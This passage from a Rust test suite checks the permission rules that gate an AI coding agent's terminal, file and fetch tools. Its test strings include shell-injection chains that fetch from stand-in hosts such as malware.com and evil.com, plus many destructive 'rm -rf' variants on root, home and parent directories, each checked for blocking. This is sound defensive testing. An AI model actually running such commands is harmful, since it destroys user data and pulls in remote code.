 971        );
 972        tools.insert(
 973            Arc::from(EditFileTool::NAME),
 974            ToolRules {
 975                default: Some(ToolPermissionMode::Allow),
 976                always_allow: vec![],
 977                always_deny: vec![],
 978                always_confirm: vec![],
 979                invalid_patterns: vec![],
 980            },
 981        );
 982        let p = ToolPermissions {
 983            default: ToolPermissionMode::Confirm,
 984            tools,
 985        };
 986        assert!(matches!(
 987            ToolPermissionDecision::from_input(
 988                TerminalTool::NAME,
 989                &["x".to_string()],
 990                &p,
 991                ShellKind::Posix
 992            ),
 993            ToolPermissionDecision::Deny(_)
 994        ));
 995        assert_eq!(
 996            ToolPermissionDecision::from_input(
 997                EditFileTool::NAME,
 998                &["x".to_string()],
 999                &p,
1000                ShellKind::Posix
1001            ),
1002            ToolPermissionDecision::Allow
1003        );
1004    }
1005
1006    #[test]
1007    fn partial_tool_name_no_match() {
1008        let mut tools = collections::HashMap::default();
1009        tools.insert(
1010            Arc::from("term"),
1011            ToolRules {
1012                default: Some(ToolPermissionMode::Deny),
1013                always_allow: vec![],
1014                always_deny: vec![],
1015                always_confirm: vec![],
1016                invalid_patterns: vec![],
1017            },
1018        );
1019        let p = ToolPermissions {
1020            default: ToolPermissionMode::Confirm,
1021            tools,
1022        };
1023        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1024        assert_eq!(
1025            ToolPermissionDecision::from_input(
1026                TerminalTool::NAME,
1027                &["x".to_string()],
1028                &p,
1029                ShellKind::Posix
1030            ),
1031            ToolPermissionDecision::Confirm
1032        );
1033    }
1034
1035    // invalid patterns block the tool
1036    #[test]
1037    fn invalid_pattern_blocks() {
1038        let mut tools = collections::HashMap::default();
1039        tools.insert(
1040            Arc::from(TerminalTool::NAME),
1041            ToolRules {
1042                default: Some(ToolPermissionMode::Allow),
1043                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1044                always_deny: vec![],
1045                always_confirm: vec![],
1046                invalid_patterns: vec![InvalidRegexPattern {
1047                    pattern: "[bad".into(),
1048                    rule_type: "always_deny".into(),
1049                    error: "err".into(),
1050                }],
1051            },
1052        );
1053        let p = ToolPermissions {
1054            default: ToolPermissionMode::Confirm,
1055            tools,
1056        };
1057        // Invalid patterns block the tool regardless of other settings
1058        assert!(matches!(
1059            ToolPermissionDecision::from_input(
1060                TerminalTool::NAME,
1061                &["echo hi".to_string()],
1062                &p,
1063                ShellKind::Posix
1064            ),
1065            ToolPermissionDecision::Deny(_)
1066        ));
1067    }
1068
1069    #[test]
1070    fn shell_injection_via_double_ampersand_not_allowed() {
1071        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1072    }
1073
1074    #[test]
1075    fn shell_injection_via_semicolon_not_allowed() {
1076        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1077    }
1078
1079    #[test]
1080    fn shell_injection_via_pipe_not_allowed() {
1081        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1082    }
1083
1084    #[test]
1085    fn shell_injection_via_backticks_not_allowed() {
1086        t("echo `wget malware.com`")
1087            .allow(&[pattern("echo")])
1088            .is_confirm();
1089    }
1090
1091    #[test]
1092    fn shell_injection_via_dollar_parens_not_allowed() {
1093        t("echo $(wget malware.com)")
1094            .allow(&[pattern("echo")])
1095            .is_confirm();
1096    }
1097
1098    #[test]
1099    fn shell_injection_via_or_operator_not_allowed() {
1100        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1101    }
1102
1103    #[test]
1104    fn shell_injection_via_background_operator_not_allowed() {
1105        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1106    }
1107
1108    #[test]
1109    fn shell_injection_via_newline_not_allowed() {
1110        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1111    }
1112
1113    #[test]
1114    fn shell_injection_via_process_substitution_input_not_allowed() {
1115        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1116    }
1117
1118    #[test]
1119    fn shell_injection_via_process_substitution_output_not_allowed() {
1120        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1121    }
1122
1123    #[test]
1124    fn shell_injection_without_spaces_not_allowed() {
1125        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1126        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1127    }
1128
1129    #[test]
1130    fn shell_injection_multiple_chained_operators_not_allowed() {
1131        t("ls && echo hello && wget malware.com")
1132            .allow(&["^ls"])
1133            .is_confirm();
1134    }
1135
1136    #[test]
1137    fn shell_injection_mixed_operators_not_allowed() {
1138        t("ls; echo hello && wget malware.com")
1139            .allow(&["^ls"])
1140            .is_confirm();
1141    }
1142
1143    #[test]
1144    fn shell_injection_pipe_stderr_not_allowed() {
1145        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1146    }
1147
1148    #[test]
1149    fn allow_requires_all_commands_to_match() {
1150        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1151    }
1152
1153    #[test]
1154    fn dev_null_redirect_does_not_cause_false_negative() {
1155        // Redirects to /dev/null are known-safe and should be skipped during
1156        // command extraction, so they don't prevent auto-allow from matching.
1157        t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1158            .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1159            .is_allow();
1160    }
1161
1162    #[test]
1163    fn redirect_to_real_file_still_causes_confirm() {
1164        // Redirects to real files (not /dev/null) should still be included in
1165        // the extracted commands, so they prevent auto-allow when unmatched.
1166        t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1167    }
1168
1169    #[test]
1170    fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1171        // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1172        // "echo y\ny" and "git add -p file". Both should match their respective allow
1173        // patterns, so the overall command should be auto-allowed.
1174        t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1175            .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1176            .is_allow();
1177    }
1178
1179    #[test]
1180    fn deny_triggers_on_any_matching_command() {
1181        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1182    }
1183
1184    #[test]
1185    fn deny_catches_injected_command() {
1186        t("ls && rm -rf ./temp")
1187            .allow(&["^ls"])
1188            .deny(&["^rm"])
1189            .is_deny();
1190    }
1191
1192    #[test]
1193    fn confirm_triggers_on_any_matching_command() {
1194        t("ls && sudo reboot")
1195            .allow(&["^ls"])
1196            .confirm(&["^sudo"])
1197            .is_confirm();
1198    }
1199
1200    #[test]
1201    fn always_allow_button_works_end_to_end() {
1202        // This test verifies that the "Always Allow" button behavior works correctly:
1203        // 1. User runs a command like "cargo build --release"
1204        // 2. They click "Always Allow for `cargo build` commands"
1205        // 3. The pattern extracted should match future "cargo build" commands
1206        //    but NOT other cargo subcommands like "cargo test"
1207        let original_command = "cargo build --release";
1208        let extracted_pattern = pattern(original_command);
1209
1210        // The extracted pattern should allow the original command
1211        t(original_command).allow(&[extracted_pattern]).is_allow();
1212
1213        // It should allow other "cargo build" invocations with different flags
1214        t("cargo build").allow(&[extracted_pattern]).is_allow();
1215        t("cargo build --features foo")
1216            .allow(&[extracted_pattern])
1217            .is_allow();
1218
1219        // But NOT other cargo subcommands — the pattern is subcommand-specific
1220        t("cargo test").allow(&[extracted_pattern]).is_confirm();
1221        t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1222
1223        // Hyphenated extensions of the subcommand should not match either
1224        // (e.g. cargo plugins like "cargo build-foo")
1225        t("cargo build-foo")
1226            .allow(&[extracted_pattern])
1227            .is_confirm();
1228        t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1229
1230        // But not commands with different base commands
1231        t("npm install").allow(&[extracted_pattern]).is_confirm();
1232
1233        // Chained commands: all must match the pattern
1234        t("cargo build && cargo build --release")
1235            .allow(&[extracted_pattern])
1236            .is_allow();
1237
1238        // But reject if any subcommand doesn't match
1239        t("cargo build && npm install")
1240            .allow(&[extracted_pattern])
1241            .is_confirm();
1242    }
1243
1244    #[test]
1245    fn always_allow_button_works_without_subcommand() {
1246        // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1247        // should only include the command name, not the flag.
1248        let original_command = "ls -la";
1249        let extracted_pattern = pattern(original_command);
1250
1251        // The extracted pattern should allow the original command
1252        t(original_command).allow(&[extracted_pattern]).is_allow();
1253
1254        // It should allow other invocations of the same command
1255        t("ls").allow(&[extracted_pattern]).is_allow();
1256        t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1257
1258        // But not different commands
1259        t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1260
1261        // Chained commands: all must match
1262        t("ls -la && ls /tmp")
1263            .allow(&[extracted_pattern])
1264            .is_allow();
1265        t("ls -la && cat file.txt")
1266            .allow(&[extracted_pattern])
1267            .is_confirm();
1268    }
1269
1270    #[test]
1271    fn nested_command_substitution_all_checked() {
1272        t("echo $(cat $(whoami).txt)")
1273            .allow(&["^echo", "^cat", "^whoami"])
1274            .is_allow();
1275    }
1276
1277    #[test]
1278    fn parse_failure_falls_back_to_confirm() {
1279        t("ls &&").allow(&["^ls$"]).is_confirm();
1280    }
1281
1282    #[test]
1283    fn mcp_tool_default_modes() {
1284        t("")
1285            .tool("mcp:fs:read")
1286            .mode(ToolPermissionMode::Allow)
1287            .is_allow();
1288        t("")
1289            .tool("mcp:bad:del")
1290            .mode(ToolPermissionMode::Deny)
1291            .is_deny();
1292        t("")
1293            .tool("mcp:gh:issue")
1294            .mode(ToolPermissionMode::Confirm)
1295            .is_confirm();
1296        t("")
1297            .tool("mcp:gh:issue")
1298            .mode(ToolPermissionMode::Confirm)
1299            .global_default(ToolPermissionMode::Allow)
1300            .is_confirm();
1301    }
1302
1303    #[test]
1304    fn mcp_doesnt_collide_with_builtin() {
1305        let mut tools = collections::HashMap::default();
1306        tools.insert(
1307            Arc::from(TerminalTool::NAME),
1308            ToolRules {
1309                default: Some(ToolPermissionMode::Deny),
1310                always_allow: vec![],
1311                always_deny: vec![],
1312                always_confirm: vec![],
1313                invalid_patterns: vec![],
1314            },
1315        );
1316        tools.insert(
1317            Arc::from("mcp:srv:terminal"),
1318            ToolRules {
1319                default: Some(ToolPermissionMode::Allow),
1320                always_allow: vec![],
1321                always_deny: vec![],
1322                always_confirm: vec![],
1323                invalid_patterns: vec![],
1324            },
1325        );
1326        let p = ToolPermissions {
1327            default: ToolPermissionMode::Confirm,
1328            tools,
1329        };
1330        assert!(matches!(
1331            ToolPermissionDecision::from_input(
1332                TerminalTool::NAME,
1333                &["x".to_string()],
1334                &p,
1335                ShellKind::Posix
1336            ),
1337            ToolPermissionDecision::Deny(_)
1338        ));
1339        assert_eq!(
1340            ToolPermissionDecision::from_input(
1341                "mcp:srv:terminal",
1342                &["x".to_string()],
1343                &p,
1344                ShellKind::Posix
1345            ),
1346            ToolPermissionDecision::Allow
1347        );
1348    }
1349
1350    #[test]
1351    fn case_insensitive_by_default() {
1352        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1353        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1354    }
1355
1356    #[test]
1357    fn case_sensitive_allow() {
1358        t("cargo test")
1359            .allow_case_sensitive(&[pattern("cargo")])
1360            .is_allow();
1361        t("CARGO TEST")
1362            .allow_case_sensitive(&[pattern("cargo")])
1363            .is_confirm();
1364    }
1365
1366    #[test]
1367    fn case_sensitive_deny() {
1368        t("rm -rf ./temp")
1369            .deny_case_sensitive(&[pattern("rm")])
1370            .is_deny();
1371        t("RM -RF ./temp")
1372            .deny_case_sensitive(&[pattern("rm")])
1373            .mode(ToolPermissionMode::Allow)
1374            .is_allow();
1375    }
1376
1377    #[test]
1378    fn nushell_allows_with_allow_pattern() {
1379        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1380    }
1381
1382    #[test]
1383    fn nushell_allows_deny_patterns() {
1384        t("rm -rf ./temp")
1385            .deny(&["rm\\s+-rf"])
1386            .shell(ShellKind::Nushell)
1387            .is_deny();
1388    }
1389
1390    #[test]
1391    fn nushell_allows_confirm_patterns() {
1392        t("sudo reboot")
1393            .confirm(&["sudo"])
1394            .shell(ShellKind::Nushell)
1395            .is_confirm();
1396    }
1397
1398    #[test]
1399    fn nushell_no_allow_patterns_uses_default() {
1400        t("ls")
1401            .deny(&["rm"])
1402            .mode(ToolPermissionMode::Allow)
1403            .shell(ShellKind::Nushell)
1404            .is_allow();
1405    }
1406
1407    #[test]
1408    fn elvish_allows_with_allow_pattern() {
1409        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1410    }
1411
1412    #[test]
1413    fn rc_allows_with_allow_pattern() {
1414        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1415    }
1416
1417    #[test]
1418    fn multiple_invalid_patterns_pluralizes_message() {
1419        let mut tools = collections::HashMap::default();
1420        tools.insert(
1421            Arc::from(TerminalTool::NAME),
1422            ToolRules {
1423                default: Some(ToolPermissionMode::Allow),
1424                always_allow: vec![],
1425                always_deny: vec![],
1426                always_confirm: vec![],
1427                invalid_patterns: vec![
1428                    InvalidRegexPattern {
1429                        pattern: "[bad1".into(),
1430                        rule_type: "always_deny".into(),
1431                        error: "err1".into(),
1432                    },
1433                    InvalidRegexPattern {
1434                        pattern: "[bad2".into(),
1435                        rule_type: "always_allow".into(),
1436                        error: "err2".into(),
1437                    },
1438                ],
1439            },
1440        );
1441        let p = ToolPermissions {
1442            default: ToolPermissionMode::Confirm,
1443            tools,
1444        };
1445
1446        let result = ToolPermissionDecision::from_input(
1447            TerminalTool::NAME,
1448            &["echo hi".to_string()],
1449            &p,
1450            ShellKind::Posix,
1451        );
1452        match result {
1453            ToolPermissionDecision::Deny(msg) => {
1454                assert!(
1455                    msg.contains("2 regex patterns"),
1456                    "Expected '2 regex patterns' in message, got: {}",
1457                    msg
1458                );
1459            }
1460            other => panic!("Expected Deny, got {:?}", other),
1461        }
1462    }
1463
1464    // always_confirm patterns on non-terminal tools
1465    #[test]
1466    fn always_confirm_works_for_file_tools() {
1467        t("sensitive.env")
1468            .tool(EditFileTool::NAME)
1469            .confirm(&["sensitive"])
1470            .is_confirm();
1471
1472        t("normal.txt")
1473            .tool(EditFileTool::NAME)
1474            .confirm(&["sensitive"])
1475            .mode(ToolPermissionMode::Allow)
1476            .is_allow();
1477
1478        t("/etc/config")
1479            .tool(DeletePathTool::NAME)
1480            .confirm(&["/etc/"])
1481            .is_confirm();
1482
1483        t("/home/user/safe.txt")
1484            .tool(DeletePathTool::NAME)
1485            .confirm(&["/etc/"])
1486            .mode(ToolPermissionMode::Allow)
1487            .is_allow();
1488
1489        t("https://secret.internal.com/api")
1490            .tool(FetchTool::NAME)
1491            .confirm(&["secret\\.internal"])
1492            .is_confirm();
1493
1494        t("https://public.example.com/api")
1495            .tool(FetchTool::NAME)
1496            .confirm(&["secret\\.internal"])
1497            .mode(ToolPermissionMode::Allow)
1498            .is_allow();
1499
1500        // confirm on non-terminal tools still beats allow
1501        t("sensitive.env")
1502            .tool(EditFileTool::NAME)
1503            .allow(&["sensitive"])
1504            .confirm(&["\\.env$"])
1505            .is_confirm();
1506
1507        // confirm on non-terminal tools is still beaten by deny
1508        t("sensitive.env")
1509            .tool(EditFileTool::NAME)
1510            .confirm(&["sensitive"])
1511            .deny(&["\\.env$"])
1512            .is_deny();
1513
1514        // global default allow does not bypass confirm on non-terminal tools
1515        t("/etc/passwd")
1516            .tool(EditFileTool::NAME)
1517            .confirm(&["/etc/"])
1518            .global_default(ToolPermissionMode::Allow)
1519            .is_confirm();
1520    }
1521
1522    // Hardcoded security rules tests - these rules CANNOT be bypassed
1523
1524    #[test]
1525    fn hardcoded_blocks_rm_rf_root() {
1526        t("rm -rf /").is_deny();
1527        t("rm -fr /").is_deny();
1528        t("rm -RF /").is_deny();
1529        t("rm -FR /").is_deny();
1530        t("rm -r -f /").is_deny();
1531        t("rm -f -r /").is_deny();
1532        t("RM -RF /").is_deny();
1533        t("rm /").is_deny();
1534        // Long flags
1535        t("rm --recursive --force /").is_deny();
1536        t("rm --force --recursive /").is_deny();
1537        // Extra short flags
1538        t("rm -rfv /").is_deny();
1539        t("rm -v -rf /").is_deny();
1540        // Glob wildcards
1541        t("rm -rf /*").is_deny();
1542        t("rm -rf /* ").is_deny();
1543        // End-of-options marker
1544        t("rm -rf -- /").is_deny();
1545        t("rm -- /").is_deny();
1546        // Prefixed with sudo or other commands
1547        t("sudo rm -rf /").is_deny();
1548        t("sudo rm -rf /*").is_deny();
1549        t("sudo rm -rf --no-preserve-root /").is_deny();
1550    }
1551
1552    #[test]
1553    fn hardcoded_blocks_rm_rf_home() {
1554        t("rm -rf ~").is_deny();
1555        t("rm -fr ~").is_deny();
1556        t("rm -rf ~/").is_deny();
1557        t("rm -rf $HOME").is_deny();
1558        t("rm -fr $HOME").is_deny();
1559        t("rm -rf $HOME/").is_deny();
1560        t("rm -rf ${HOME}").is_deny();
1561        t("rm -rf ${HOME}/").is_deny();
1562        t("rm -RF $HOME").is_deny();
1563        t("rm -FR ${HOME}/").is_deny();
1564        t("rm -R -F ${HOME}/").is_deny();
1565        t("RM -RF ~").is_deny();
1566        // Long flags
1567        t("rm --recursive --force ~").is_deny();
1568        t("rm --recursive --force ~/").is_deny();
1569        t("rm --recursive --force $HOME").is_deny();
1570        t("rm --force --recursive ${HOME}/").is_deny();
1571        // Extra short flags
1572        t("rm -rfv ~").is_deny();
1573        t("rm -v -rf ~/").is_deny();
1574        // Glob wildcards
1575        t("rm -rf ~/*").is_deny();
1576        t("rm -rf $HOME/*").is_deny();
1577        t("rm -rf ${HOME}/*").is_deny();
1578        // End-of-options marker
1579        t("rm -rf -- ~").is_deny();
1580        t("rm -rf -- ~/").is_deny();
1581        t("rm -rf -- $HOME").is_deny();
1582    }
1583
1584    #[test]
1585    fn hardcoded_blocks_rm_rf_home_with_traversal() {
1586        // Path traversal after $HOME / ${HOME} should still be blocked
1587        t("rm -rf $HOME/./").is_deny();
1588        t("rm -rf $HOME/foo/..").is_deny();
1589        t("rm -rf ${HOME}/.").is_deny();
1590        t("rm -rf ${HOME}/./").is_deny();
1591        t("rm -rf $HOME/a/b/../..").is_deny();
1592        t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1593        // Subdirectories should NOT be blocked
1594        t("rm -rf $HOME/subdir")
1595            .mode(ToolPermissionMode::Allow)
1596            .is_allow();
1597        t("rm -rf ${HOME}/Documents")
1598            .mode(ToolPermissionMode::Allow)
1599            .is_allow();
1600    }
1601
1602    #[test]
1603    fn hardcoded_blocks_rm_rf_dot() {
1604        t("rm -rf .").is_deny();
1605        t("rm -fr .").is_deny();
1606        t("rm -rf ./").is_deny();
1607        t("rm -rf ..").is_deny();
1608        t("rm -fr ..").is_deny();
1609        t("rm -rf ../").is_deny();
1610        t("rm -RF .").is_deny();
1611        t("rm -FR ../").is_deny();
1612        t("rm -R -F ../").is_deny();
1613        t("RM -RF .").is_deny();
1614        t("RM -RF ..").is_deny();
1615        // Long flags
1616        t("rm --recursive --force .").is_deny();
1617        t("rm --force --recursive ../").is_deny();
1618        // Extra short flags
1619        t("rm -rfv .").is_deny();
1620        t("rm -v -rf ../").is_deny();
1621        // Glob wildcards
1622        t("rm -rf ./*").is_deny();
1623        t("rm -rf ../*").is_deny();
1624        // End-of-options marker
1625        t("rm -rf -- .").is_deny();
1626        t("rm -rf -- ../").is_deny();
1627    }
1628
1629    #[test]
1630    fn hardcoded_cannot_be_bypassed_by_global() {
1631        // Even with global default Allow, hardcoded rules block
1632        t("rm -rf /")
1633            .global_default(ToolPermissionMode::Allow)
1634            .is_deny();
1635        t("rm -rf ~")
1636            .global_default(ToolPermissionMode::Allow)
1637            .is_deny();
1638        t("rm -rf $HOME")
1639            .global_default(ToolPermissionMode::Allow)
1640            .is_deny();
1641        t("rm -rf .")
1642            .global_default(ToolPermissionMode::Allow)
1643            .is_deny();
1644        t("rm -rf ..")
1645            .global_default(ToolPermissionMode::Allow)
1646            .is_deny();
1647    }
1648
1649    #[test]
1650    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1651        // Even with an allow pattern that matches, hardcoded rules block
1652        t("rm -rf /").allow(&[".*"]).is_deny();
1653        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1654        t("rm -rf .").allow(&[".*"]).is_deny();
1655        t("rm -rf ..").allow(&[".*"]).is_deny();
1656    }
1657
1658    #[test]
1659    fn hardcoded_allows_safe_rm() {
1660        // rm -rf on a specific path should NOT be blocked
1661        t("rm -rf ./build")
1662            .mode(ToolPermissionMode::Allow)
1663            .is_allow();
1664        t("rm -rf /tmp/test")
1665            .mode(ToolPermissionMode::Allow)
1666            .is_allow();
1667        t("rm -rf ~/Documents")
1668            .mode(ToolPermissionMode::Allow)
1669            .is_allow();
1670        t("rm -rf $HOME/Documents")
1671            .mode(ToolPermissionMode::Allow)
1672            .is_allow();
1673        t("rm -rf ../some_dir")
1674            .mode(ToolPermissionMode::Allow)
1675            .is_allow();
1676        t("rm -rf .hidden_dir")
1677            .mode(ToolPermissionMode::Allow)
1678            .is_allow();
1679        t("rm -rfv ./build")
1680            .mode(ToolPermissionMode::Allow)
1681            .is_allow();
1682        t("rm --recursive --force ./build")
1683            .mode(ToolPermissionMode::Allow)
1684            .is_allow();
1685    }
1686
1687    #[test]
1688    fn hardcoded_checks_chained_commands() {
1689        // Hardcoded rules should catch dangerous commands in chains
1690        t("ls && rm -rf /").is_deny();
1691        t("echo hello; rm -rf ~").is_deny();
1692        t("cargo build && rm -rf /")
1693            .global_default(ToolPermissionMode::Allow)
1694            .is_deny();
1695        t("echo hello; rm -rf $HOME").is_deny();
1696        t("echo hello; rm -rf .").is_deny();
1697        t("echo hello; rm -rf ..").is_deny();
1698    }
1699
1700    #[test]
1701    fn hardcoded_blocks_rm_with_extra_flags() {
1702        // Extra flags like -v, -i should not bypass the security rules
1703        t("rm -rfv /").is_deny();
1704        t("rm -v -rf /").is_deny();
1705        t("rm -rfi /").is_deny();
1706        t("rm -rfv ~").is_deny();
1707        t("rm -rfv ~/").is_deny();
1708        t("rm -rfv $HOME").is_deny();
1709        t("rm -rfv .").is_deny();
1710        t("rm -rfv ./").is_deny();
1711        t("rm -rfv ..").is_deny();
1712        t("rm -rfv ../").is_deny();
1713    }
1714
1715    #[test]
1716    fn hardcoded_blocks_rm_with_long_flags() {
1717        t("rm --recursive --force /").is_deny();
1718        t("rm --force --recursive /").is_deny();
1719        t("rm --recursive --force ~").is_deny();
1720        t("rm --recursive --force ~/").is_deny();
1721        t("rm --recursive --force $HOME").is_deny();
1722        t("rm --recursive --force .").is_deny();
1723        t("rm --recursive --force ..").is_deny();
1724    }
1725
1726    #[test]
1727    fn hardcoded_blocks_rm_with_glob_star() {
1728        // rm -rf /* is equally catastrophic to rm -rf /
1729        t("rm -rf /*").is_deny();
1730        t("rm -rf ~/*").is_deny();
1731        t("rm -rf $HOME/*").is_deny();
1732        t("rm -rf ${HOME}/*").is_deny();
1733        t("rm -rf ./*").is_deny();
1734        t("rm -rf ../*").is_deny();
1735    }
1736
1737    #[test]
1738    fn hardcoded_extra_flags_allow_safe_rm() {
1739        // Extra flags on specific paths should NOT be blocked
1740        t("rm -rfv ~/somedir")
1741            .mode(ToolPermissionMode::Allow)
1742            .is_allow();
1743        t("rm -rfv /tmp/test")
1744            .mode(ToolPermissionMode::Allow)
1745            .is_allow();
1746        t("rm --recursive --force ./build")
1747            .mode(ToolPermissionMode::Allow)
1748            .is_allow();
1749    }
1750
1751    #[test]
1752    fn hardcoded_does_not_block_words_containing_rm() {
1753        // Words like "storm", "inform" contain "rm" but should not be blocked
1754        t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1755        t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1756        t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1757    }
1758
1759    #[test]
1760    fn hardcoded_blocks_rm_with_trailing_flags() {
1761        // GNU rm accepts flags after operands by default
1762        t("rm / -rf").is_deny();
1763        t("rm / -fr").is_deny();
1764        t("rm / -RF").is_deny();
1765        t("rm / -r -f").is_deny();
1766        t("rm / --recursive --force").is_deny();
1767        t("rm / -rfv").is_deny();
1768        t("rm /* -rf").is_deny();
1769        // Mixed: some flags before path, some after
1770        t("rm -r / -f").is_deny();
1771        t("rm -f / -r").is_deny();
1772        // Home
1773        t("rm ~ -rf").is_deny();
1774        t("rm ~/ -rf").is_deny();
1775        t("rm ~ -r -f").is_deny();
1776        t("rm $HOME -rf").is_deny();
1777        t("rm ${HOME} -rf").is_deny();
1778        // Dot / dotdot
1779        t("rm . -rf").is_deny();
1780        t("rm ./ -rf").is_deny();
1781        t("rm . -r -f").is_deny();
1782        t("rm .. -rf").is_deny();
1783        t("rm ../ -rf").is_deny();
1784        t("rm .. -r -f").is_deny();
1785        // Trailing flags in chained commands
1786        t("ls && rm / -rf").is_deny();
1787        t("echo hello; rm ~ -rf").is_deny();
1788        // Safe paths with trailing flags should NOT be blocked
1789        t("rm ./build -rf")
1790            .mode(ToolPermissionMode::Allow)
1791            .is_allow();
1792        t("rm /tmp/test -rf")
1793            .mode(ToolPermissionMode::Allow)
1794            .is_allow();
1795        t("rm ~/Documents -rf")
1796            .mode(ToolPermissionMode::Allow)
1797            .is_allow();
1798    }
1799
1800    #[test]
1801    fn hardcoded_blocks_rm_with_flag_equals_value() {
1802        // --flag=value syntax should not bypass the rules
1803        t("rm --no-preserve-root=yes -rf /").is_deny();
1804        t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1805        t("rm -rf --no-preserve-root=yes /").is_deny();
1806        t("rm --interactive=never -rf /").is_deny();
1807        t("rm --no-preserve-root=yes -rf ~").is_deny();
1808        t("rm --no-preserve-root=yes -rf .").is_deny();
1809        t("rm --no-preserve-root=yes -rf ..").is_deny();
1810        t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1811        // --flag (without =value) should also not bypass the rules
1812        t("rm -rf --no-preserve-root /").is_deny();
1813        t("rm --no-preserve-root -rf /").is_deny();
1814        t("rm --no-preserve-root --recursive --force /").is_deny();
1815        t("rm -rf --no-preserve-root ~").is_deny();
1816        t("rm -rf --no-preserve-root .").is_deny();
1817        t("rm -rf --no-preserve-root ..").is_deny();
1818        t("rm -rf --no-preserve-root $HOME").is_deny();
1819        // Trailing --flag=value after path
1820        t("rm / --no-preserve-root=yes -rf").is_deny();
1821        t("rm ~ -rf --no-preserve-root=yes").is_deny();
1822        // Trailing --flag (without =value) after path
1823        t("rm / -rf --no-preserve-root").is_deny();
1824        t("rm ~ -rf --no-preserve-root").is_deny();
1825        // Safe paths with --flag=value should NOT be blocked
1826        t("rm --no-preserve-root=yes -rf ./build")
1827            .mode(ToolPermissionMode::Allow)
1828            .is_allow();
1829        t("rm --interactive=never -rf /tmp/test")
1830            .mode(ToolPermissionMode::Allow)
1831            .is_allow();
1832        // Safe paths with --flag (without =value) should NOT be blocked
1833        t("rm --no-preserve-root -rf ./build")
1834            .mode(ToolPermissionMode::Allow)
1835            .is_allow();
1836    }
1837
1838    #[test]
1839    fn hardcoded_blocks_rm_with_path_traversal() {
1840        // Traversal to root via ..
1841        t("rm -rf /etc/../").is_deny();
1842        t("rm -rf /tmp/../../").is_deny();
1843        t("rm -rf /tmp/../..").is_deny();
1844        t("rm -rf /var/log/../../").is_deny();
1845        // Root via /./
1846        t("rm -rf /./").is_deny();
1847        t("rm -rf /.").is_deny();
1848        // Double slash (equivalent to /)
1849        t("rm -rf //").is_deny();
1850        // Home traversal via ~/./
1851        t("rm -rf ~/./").is_deny();
1852        t("rm -rf ~/.").is_deny();
1853        // Dot traversal via indirect paths
1854        t("rm -rf ./foo/..").is_deny();
1855        t("rm -rf ../foo/..").is_deny();
1856        // Traversal in chained commands
1857        t("ls && rm -rf /tmp/../../").is_deny();
1858        t("echo hello; rm -rf /./").is_deny();
1859        // Traversal cannot be bypassed by global or allow patterns
1860        t("rm -rf /tmp/../../")
1861            .global_default(ToolPermissionMode::Allow)
1862            .is_deny();
1863        t("rm -rf /./").allow(&[".*"]).is_deny();
1864        // Safe paths with traversal should still be allowed
1865        t("rm -rf /tmp/../tmp/foo")
1866            .mode(ToolPermissionMode::Allow)
1867            .is_allow();
1868        t("rm -rf ~/Documents/./subdir")
1869            .mode(ToolPermissionMode::Allow)
1870            .is_allow();
1871    }
1872
1873    #[test]
1874    fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1875        t("rm -rf /tmp /").is_deny();
1876        t("rm -rf /tmp/foo /").is_deny();
1877        t("rm -rf /var/log ~").is_deny();
1878        t("rm -rf /safe $HOME").is_deny();
1879    }
1880
1881    #[test]
1882    fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1883        t("rm -rf / /tmp").is_deny();
1884        t("rm -rf ~ /var/log").is_deny();
1885        t("rm -rf . /tmp/foo").is_deny();
1886        t("rm -rf .. /safe").is_deny();
1887    }
1888
1889    #[test]
1890    fn hardcoded_allows_rm_multi_path_all_safe() {
1891        t("rm -rf /tmp /home/user")
1892            .mode(ToolPermissionMode::Allow)
1893            .is_allow();
1894        t("rm -rf ./build ./dist")
1895            .mode(ToolPermissionMode::Allow)
1896            .is_allow();
1897        t("rm -rf /var/log/app /tmp/cache")
1898            .mode(ToolPermissionMode::Allow)
1899            .is_allow();
1900    }
1901
1902    #[test]
1903    fn hardcoded_blocks_rm_multi_path_with_traversal() {
1904        t("rm -rf /safe /tmp/../../").is_deny();
1905        t("rm -rf /tmp/../../ /safe").is_deny();
1906        t("rm -rf /safe /var/log/../../").is_deny();
1907    }
1908
1909    #[test]
